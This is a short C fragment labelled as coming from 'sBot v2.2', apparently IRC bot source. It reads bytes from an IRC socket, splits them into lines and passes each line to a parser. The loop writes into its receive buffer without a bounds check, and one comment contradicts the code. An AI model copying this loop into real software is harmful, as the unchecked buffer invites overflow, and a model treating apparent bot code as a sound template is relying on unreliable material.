// from sBot v2.2 -- atomiku is horrible while( true ) { // Recieve one byte at a time, if >= 0 return false ( disconnected ) iRecvVal = frecv( ircsock, (char *)&szRecvBuff[ iCurbyte ], 1, 0 ); if( iRecvVal <= 0 ) { closesocket( ircsock ); return false; } switch( szRecvBuff[ iCurbyte ] ) { case 0x0D: // 0x0D == \r 0x0A == \n szRecvBuff[ iCurbyte ] = 0; iCurbyte++; break; case 0x0A: // If we reach a newline, parse it ( incase we recieve more than 1 packet in a single buffer ) szRecvBuff[ iCurbyte ] = 0; #ifndef NO_DEBUG printf( "[S->C] - %s\n", szRecvBuff ); #endif ParseIRCLine( ircsock, szRecvBuff ); iCurbyte = 0; break; default: iCurbyte++; break; } }